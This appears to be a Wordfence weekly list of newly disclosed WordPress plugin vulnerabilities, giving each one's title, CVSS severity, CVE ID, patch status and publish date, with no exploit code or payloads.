Please note that if you run the Wordfence plugin on your WordPress site, with the scanner enabled, you should’ve already been notified if your site was affected by any of these vulnerabilities. If you’d like to receive real-time notifications whenever a vulnerability is added to the Wordfence Intelligence Vulnerability Database, check out our Slack and HTTP Webhook Integration, which is completely free to utilize.

Advanced Customized Prompts <= 1.0.1 – Unauthenticated Privilege Escalation via Account Takeover

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-14563
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Advanced Customized Prompts [advanced-customized-prompts]

Researcher

More Details >

Drag and Drop File Upload for Elementor Forms <= 1.6.0 – Unauthenticated Arbitrary File Upload via ‘type’ Parameter

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-18351
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Drag and Drop File Upload for Elementor Forms [drag-and-drop-file-upload-for-elementor-forms]

Researcher

More Details >

Frontegg SAML SSO <= 1.0.1 – Authentication Bypass to Admin

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-75800
Patch Status

Unpatched
Published
Sep 10, 2026

Affected Software

Frontegg SAML SSO [frontegg-saml-sso]

Researcher

More Details >

MIPL Grouped Checkout Fields for WooCommerce <= 1.2.2 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-8778
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

MIPL Checkout Fields Manager for WooCommerce – Customize, Organize & Group Checkout Fields. [mipl-wc-checkout-fields]

Researcher

More Details >

Teddy Bear Customize Addon <= 1.0.5 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-14560
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Teddy Bear Customize Addon [teddy-bear-customize-addon]

Researcher

More Details >

Teddy Bear Customize Addon <= 1.0.5 – Unauthenticated Privilege Escalation via Account Takeover

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-14559
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Teddy Bear Customize Addon [teddy-bear-customize-addon]

Researcher

More Details >

The Events Calendar <= 6.17.3 – Unauthenticated Code Injection to Remote Code Execution via Widget ‘classes’ Map Callable Invocation

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-78159
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

The Events Calendar [the-events-calendar]

Researchers

More Details >

The Events Calendar <= 6.17.4 – Unauthenticated PHP Object Injection to Remote Code Execution

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-78006
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

The Events Calendar [the-events-calendar]

Researchers

More Details >

Advanced Product Fields Extended for WooCommerce <= 3.1.6 – Unauthenticated Arbitrary File Deletion

9.1

CVSS Rating
9.1 (Critical)
CVE-ID

CVE-2026-81789
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Advanced Product Fields Extended for WooCommerce [advanced-product-fields-for-woocommerce-extended]

Researcher

More Details >

CryptoPayment Gateway 1.2.1 – 1.2.2 – Unauthenticated Arbitrary File Deletion

9.1

CVSS Rating
9.1 (Critical)
CVE-ID

CVE-2026-81648
Patch Status

Unpatched
Published
Sep 10, 2026

Affected Software

CryptoPayment Gateway [cryptopayment-gateway]

Researcher

More Details >

FireBox <= 3.1.10 – Authenticated (Author+) Remote Code Execution to Privilege Escalation

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-76801
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment [firebox]

Researcher

More Details >

Gpx2Graphics <= 0.3 – Cross-Site Request Forgery to Arbitrary File Upload

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-81090
Patch Status

Unpatched
Published
Sep 10, 2026

Affected Software

Gpx2Graphics [gpx2graphics]

Researcher

More Details >

Insert or Embed Articulate Content into WordPress < 4.3000000025 – Authenticated (Author+) Arbitrary File Upload

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2024-0757
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Insert or Embed Articulate Content into WordPress [insert-or-embed-articulate-content-into-wordpress]

Researcher

More Details >

Live Composer <= 2.1.18 – Authenticated (Contributor+) PHP Object Injection via Shortcode

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-16502
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Live Composer – Free WordPress Website Builder [live-composer-page-builder]

Researcher

More Details >

MemberPress Corporate Accounts <= 1.5.39 – Authenticated (Subscriber+) Privilege Escalation via Mass Assignment in Sub-Account Creation

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-15451
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

MemberPress Corporate Accounts [memberpress-corporate]

Researcher

More Details >

RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress <= 4.1224 – Authenticated (Subscriber+) Remote Code Execution

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-81803
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress [computer-repair-shop]

Researcher

More Details >

SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments < 4.6.3 – Authenticated (Subscriber+) Arbitrary Account Email Takeover

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-18480
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments [surecart]

Researcher

More Details >

Tutor LMS <= 4.0.7 – Authenticated (Subscriber+) PHP Object Injection to Remote Code Execution

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-78175
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researchers

More Details >

Various Newfold Plugins Various Versions – Unauthenticated Authentication Bypass via Bearer Token Validation with Empty Secret

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-80099
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP Module Data [wp-module-data]
WP Plugin Bluehost [bluehost-wordpress-plugin]
WP Plugin Crazy Domains [wp-plugin-crazy-domains]
WP Plugin Hostgator [wp-plugin-hostgator]
WP Plugin Web [wp-plugin-web]

Researcher

More Details >

YITH WooCommerce Waitlist Premium <= 3.35.0 – Authenticated (Subscriber+) Privilege Escalation to Admin via wp_ajax_yith_wcwtl_add_user

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-14359
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

YITH WooCommerce Waitlist Premium [yith-woocommerce-waiting-list-premium]

Researcher

More Details >

CODE MONKEYS PROPOSALS – Easily create client proposals from your WordPress admin dashboard <= 1.0.1 – Authenticated (Subscriber+) Arbitrary File Deletion

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-77005
Patch Status

Unpatched
Published
Sep 10, 2026

Affected Software

CODE MONKEYS PROPOSALS – Easily create client proposals from your WordPress admin dashboard [code-monkeys-proposals]

Researcher

More Details >

Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder with AI <= 3.6.0 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-62103
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder with AI [everest-forms]

Researcher

More Details >

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates <= 3.4.0 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-62107
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

Next-Cart Store to WooCommerce Migration <= 3.9.8 – Unauthenticated Authentication Bypass via Default ‘__token__’ Fallback in REST Migration Endpoint

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-76009
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Next-Cart Store to WooCommerce Migration [nextcart-woocommerce-migration]

Researcher

More Details >

Site Reviews 7.2.2 – 8.2.2 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-82925
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Site Reviews [site-reviews]

Researcher

More Details >

ThemeREX Addons < 2.45.0 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-62105
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

ThemeREX Addons [trx_addons]

Researcher

More Details >

UsersWP <= 1.2.70 – Authenticated (Subscriber+) Arbitrary File Deletion

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-19991
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP [userswp]

Researcher

More Details >

Visualizer – Tables & Charts Manager with Built-in AI Generator < 4.0.6 – Authenticated (Contributor+) Arbitrary File Deletion

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-86779
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

More Details >

WebTotem Backups <= 1.0.1 – Authenticated (Subscriber+) Arbitrary File Deletion

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-77006
Patch Status

Unpatched
Published
Sep 10, 2026

Affected Software

WebTotem Backups [wt-backups]

Researcher

More Details >

Wise Chat <= 3.4 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-81784
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

Wise Chat [wise-chat]

Researcher

More Details >

Bulk Password Reset <= 1.3.3 – Authenticated (Subscriber+) Arbitrary Password Reset

8.0

CVSS Rating
8.0 (High)
CVE-ID

CVE-2026-14873
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Bulk Password Reset [bulk-password-reset]

Researchers

More Details >

AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress <= 11.0.4 – Unauthenticated Arbitrary File Read via ‘user[name]’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-77807
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress [acymailing]

Researcher

More Details >

Direct Download for WooCommerce <= 1.19 – Unauthenticated Arbitrary File Read via ‘file_id’ Path Segment

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-15019
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Direct Download for WooCommerce [direct-download-for-woocommerce]

Researcher

More Details >

ELEX WooCommerce Request a Quote <= 2.4.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-14962
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

ELEX WooCommerce Request a Quote [elex-request-a-quote]

Researcher

More Details >

Event Tickets and Registration <= 5.27.4 – Missing Authorization to Unauthenticated Stripe Credentials Update

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-3174
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Event Tickets and Registration [event-tickets]

Researcher

More Details >

Eventin <= 4.1.22 – Authenticated (Contirbutor+) Local File Inclusion via ‘event_layout’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-15667
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

Eventin <= 4.1.22 – Authenticated (Custom+) Local File Inclusion via ‘event_layout’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-15406
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

GEO my WP <= 4.5.5.3 – Unauthenticated Local File Inclusion

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-85200
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

GEO my WP [geo-my-wp]

Researcher

b879437258152fc3023ac0a0d84bf29eyck

More Details >

Masteriyo LMS <= 3.4.0 – Authenticated (Subscriber+) PHP Object Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-82845
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

Music Store – WordPress eCommerce < 1.4.5 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-82304
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Music Store – WordPress eCommerce [music-store]

Researcher

More Details >

Quentn WP 1.2.13 – 1.2.14 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-84068
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Quentn WP [quentn-wp]

Researcher

More Details >

rtMedia for WordPress, BuddyPress and bbPress <= 4.7.11 – Unauthenticated SQL Injection via ‘compare’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-16482
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

rtMedia for WordPress, BuddyPress and bbPress [buddypress-media]

Researcher

More Details >

Sticky Chat Widget <= 1.4.2 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-15462
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Sticky Chat Widget – Floating Chat Icons, Contact Form, Call, Click to Chat, Email & Message Buttons [sticky-chat-widget]

Researcher

More Details >

Unlimited Elements For Elementor <= 2.0.16 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-18561
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Unlimited Elements For Elementor [unlimited-elements-for-elementor]

Researcher

More Details >

Verified Reviews (Avis Vérifiés) <= 2.4.6 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-81800
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Verified Reviews (Avis Vérifiés) [netreviews]

Researchers

More Details >

WooCommerce < 11.1.0 – Unauthenticated Denial of Service

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-48888
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WooCommerce [woocommerce]

Researcher

More Details >

WP Fusion (Pro) <= 3.47.13 – Authenticated (Subscriber+) Privilege Escalation via ThriveCart Auto Login ‘role’ Parameter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-14444
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WP Fusion (Pro) [wp-fusion]

Researcher

More Details >

CatalogX – Catalog Mode, Enquiry & Quotes for WooCommerce <= 6.1.4 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-81792
Patch Status

Unpatched
Published
Sep 7, 2026

Affected Software

CatalogX – Catalog Mode, Enquiry & Quotes for WooCommerce [woocommerce-catalog-enquiry]

Researcher

More Details >

miniOrange 2FA – Two Factor Authentication for WordPress 5.3.24 – 6.3.0 – Missing Authorization to Unauthenticated Arbitrary Option Deletion

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-77770
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

miniOrange 2FA – Two Factor Authentication for WordPress (OTP, SMS, Email, Google Authenticator) [miniorange-2-factor-authentication]

Researcher

More Details >

SEO Flow by LupsOnline 3.0.0 – 3.0.2 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-78362
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

SEO Flow by LupsOnline [lupsonline-link-netwerk]

Researcher

More Details >

SiteSkite MCP AI – Connector for Claude, ChatGPT, Cursor & WordPress WebOps <= 2.1.5 – Unauthenticated Privilege Escalation

7.3

CVSS Rating
7.3 (High)
CVE-ID

CVE-2026-81805
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

SiteSkite MCP AI – Connector for Claude, ChatGPT, Cursor & WordPress WebOps [siteskite]

Researcher

More Details >

Contact Form to DB by BestWebSoft <= 1.7.5 – Unauthenticated Stored Cross-Site Scripting via cntctfrm_contact_dropdown Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-13359
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Contact Form to DB by BestWebSoft – Messages Database Plugin For WordPress [contact-form-to-db]

Researcher

More Details >

Cookie Banner for GDPR / CCPA <= 4.4.1 – Unauthenticated Stored Cross-Site Scripting via ‘wpl_user_preference’ Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-14989
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

Easy Appointments <= 4.0.2.1 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81798
Patch Status

Unpatched
Published
Sep 7, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

More Details >

Gutenverse News – News Blocks for Blog & Magazine Sites < 3.3.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-85677
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Gutenverse News – News Blocks for Blog & Magazine Sites [gutenverse-news]

Researcher

More Details >

Hide My WP Ghost – Security & Firewall <= 7.0.09 – Unauthenticated Server-Side Request Forgery

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81806
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Hide My WP Ghost – Security & Firewall [hide-my-wp]

Researcher

More Details >

JetFormBuilder — Dynamic Blocks Form Builder <= 3.6.5.1 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84817
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

JetFormBuilder — Dynamic Blocks Form Builder [jetformbuilder]

Researcher

More Details >

Jetpack – WP Security, Backup, Speed, & Growth 16.1 – 16.1.2 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Jetpack – WP Security, Backup, Speed, & Growth [jetpack]

Researcher

More Details >

Kirki – Freeform Page Builder, Website Builder & Customizer 6.2.1 – 6.2.5 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84219
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

More Details >

Kirki <= 6.2.0 – Unauthenticated Stored Cross-Site Scripting via ‘comment’ Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-17037
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

More Details >

Open User Map – Interactive Leaflet Maps <= 1.4.50 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84818
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Open User Map – Interactive Leaflet Maps [open-user-map]

Researcher

More Details >

Page Visits Counter – Lite <= 1.2.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81795
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Page Visits Counter – Lite [page-visits-counter-lite]

Researcher

More Details >

PublishPress Capabilities <= 2.50.0 – Authenticated (Editor+) Privilege Escalation to Fresh-Install Default Capability Grant

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-75927
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

PublishPress Capabilities: User Role Access Control, Admin Area Permissions [capability-manager-enhanced]

Researcher

More Details >

Rara One Click Demo Import <= 1.3.4 – Authenticated (Admin+) Arbitrary File Upload

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-26212
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Rara One Click Demo Import [rara-one-click-demo-import]

Researcher

More Details >

Repeater Fields for Gravity Forms <= 3.0.4 – Unauthenticated Stored Cross-Site Scripting via Repeated Multi-Input Sub-Field Values

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84293
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Repeater Fields for Gravity Forms [repeater-for-gravity-forms]

Researcher

More Details >

Shopping Cart & eCommerce Store <= 5.9.3 – Authenticated (Store Manager+) Privilege Escalation to ec_ajax_save_page_default_options AJAX Action

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-17553
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Shopping Cart & eCommerce Store [wp-easycart]

Researcher

More Details >

Sidebar Manager Light <= 1.18 – Unauthenticated Stored Cross-Site Scripting via ‘sbm_description’ Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-76562
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Sidebar Manager Light [sidebar-manager-light]

Researcher

More Details >

Simple Ajax Chat <= 20260811 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81825
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Simple Ajax Chat – Add a Fast, Secure Chat Box [simple-ajax-chat]

Researcher

More Details >

Unlimited Elements For Elementor <= 2.0.17 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84820
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Unlimited Elements For Elementor [unlimited-elements-for-elementor]

Researcher

More Details >

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder < 5.2.8 – Unauthenticated Open Redirect

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-80072
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

More Details >

Vigilant <= 2.10.2 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-81754
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Vigilant – 100% Free Security Suite: Firewall, 2FA, Login, Headers, Scanner… [vigilante]

Researcher

More Details >

WP Photo Album Plus <= 9.2.08.003 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-18579
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

WP Photo Album Plus [wp-photo-album-plus]

Researcher

More Details >

WPAdverts – Classifieds Plugin <= 2.3.3 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84819
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WPAdverts – Classifieds Plugin [wpadverts]

Researcher

More Details >

WPBot <= 8.7.3 – Unauthenticated Stored Cross-Site Scripting via ‘conversation’ Parameter

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-83593
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services [chatbot]

Researcher

More Details >

WPCS – WordPress Currency Switcher Professional <= 1.3.2 – Unauthenticated Stored Cross-Site Scripting

7.2

CVSS Rating
7.2 (High)
CVE-ID

CVE-2026-84816
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

WPCS – WordPress Currency Switcher Professional [currency-switcher]

Researcher

More Details >

EDD Product Catalog Feed by PixelYourSite <= 1.0.2 – Authenticated (Subscriber+) Arbitrary Options Deletion via Missing Authorization on ‘delete’ Parameter

7.1

CVSS Rating
7.1 (High)
CVE-ID

CVE-2026-9331
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

EDD Product Catalog Feed by PixelYourSite [edd-products-feed-pro]

Researcher

More Details >

Ninja Forms <= 3.14.6 – Authenticated (Administrator+) PHP Object Injection via Form Import

6.6

CVSS Rating
6.6 (Medium)
CVE-ID

CVE-2026-11363
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Ninja Forms – The Contact Form Builder That Grows With You [ninja-forms]

Researcher

More Details >

Beaver Builder Page Builder <= 2.10.3.1 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-18021
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Beaver Builder Page Builder – Drag and Drop Website Builder [beaver-builder-lite-version]

Researcher

More Details >

Email Subscribers & Newsletters <= 5.9.27 – Unauthenticated Arbitrary Shortcode Execution via Subscriber Name Field

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-12757
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Email Subscribers & Newsletters – Email Marketing, Post Notifications & Newsletter Plugin for WordPress [email-subscribers]

Researcher

More Details >

GamiPress <= 7.9.7 – Authenticated (Subscriber+) SQL Injection

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-15439
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

GamiPress – Gamification plugin to reward points, badges & ranks in WordPress, now with AI [gamipress]

Researcher

More Details >

Groundhogg — CRM, Newsletters, and Marketing Automation <= 4.7.1 – Authenticated (Import_contacts+) Path Traversal

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85310
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Groundhogg — CRM, Newsletters, and Marketing Automation [groundhogg]

Researcher

More Details >

Hustle – Email Marketing, Lead Generation, Optins, Popups < 7.8.14.2 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-80440
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Hustle – Email Marketing, Lead Generation, Optins, Popups [wordpress-popup]

Researcher

More Details >

LukasApps CAPTCHA tools for Contact Form 7 0.1.7 – 0.1.8 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85117
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

LukasApps CAPTCHA tools for Contact Form 7 [contact-form-7-simple-recaptcha]

Researcher

More Details >

MPG <= 4.2.1 – Unauthenticated SQL Injection via URL Path

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85198
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

MPG – Multiple Page Generator, Bulk Landing Pages & Programmatic SEO [multiple-pages-generator-by-porthas]

Researchers

More Details >

Simple CAPTCHA with Cloudflare Turnstile <= 1.42.1 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-85116
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Simple CAPTCHA with Cloudflare Turnstile [simple-cloudflare-turnstile]

Researcher

More Details >

Smart Marketing SMS and Newsletters Forms <= 5.1.24 – Authenticated (Subscriber+) SQL Injection via Parameter Name

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-77161
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Smart Marketing SMS and Newsletters Forms [smart-marketing-for-wp]

Researcher

More Details >

Spam protection, Honeypot, Anti-Spam by CleanTalk < 6.87 – Unauthenticated Arbitrary Shortcode Execution

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-19855
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Spam protection, Honeypot, Anti-Spam by CleanTalk [cleantalk-spam-protect]

Researcher

More Details >

Woo PDF Invoice Builder <= 2.0.8 – Authenticated (Subscriber+) Insecure Direct Object Reference to Sensitive Order Information Disclosure

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-11496
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

PDF Builder for WooCommerce. Create invoices,packing slips and more [woo-pdf-invoice-builder]

Researcher

More Details >

WPML Multilingual CMS <= 4.9.5 – Incorrect Authorization to Authenticated (Subscriber+) SQL Injection via ‘elementIds’

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-17509
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WPML Multilingual CMS [sitepress-multilingual-cms]

Researcher

More Details >

WPMR Google Feed Manager for WooCommerce <= 2.23.7 – Authenticated (Administrator+) SQL Injection via ‘feed’ Parameter

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-19778
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WPMR Google Feed Manager for WooCommerce – Sell on Google Merchant Center & Shopping [wp-product-feed-manager]

Researcher

More Details >

Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress <= 1.3.7 – Authenticated (Subscriber+) Arbitrary File Read

6.5

CVSS Rating
6.5 (Medium)
CVE-ID

CVE-2026-81275
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress [youzify]

Researcher

More Details >

Advanced Customized Prompts <= 1.0.1 – Authenticated (Subscriber+) Stored Cross-Site Scripting

6.4

CVSS Rating
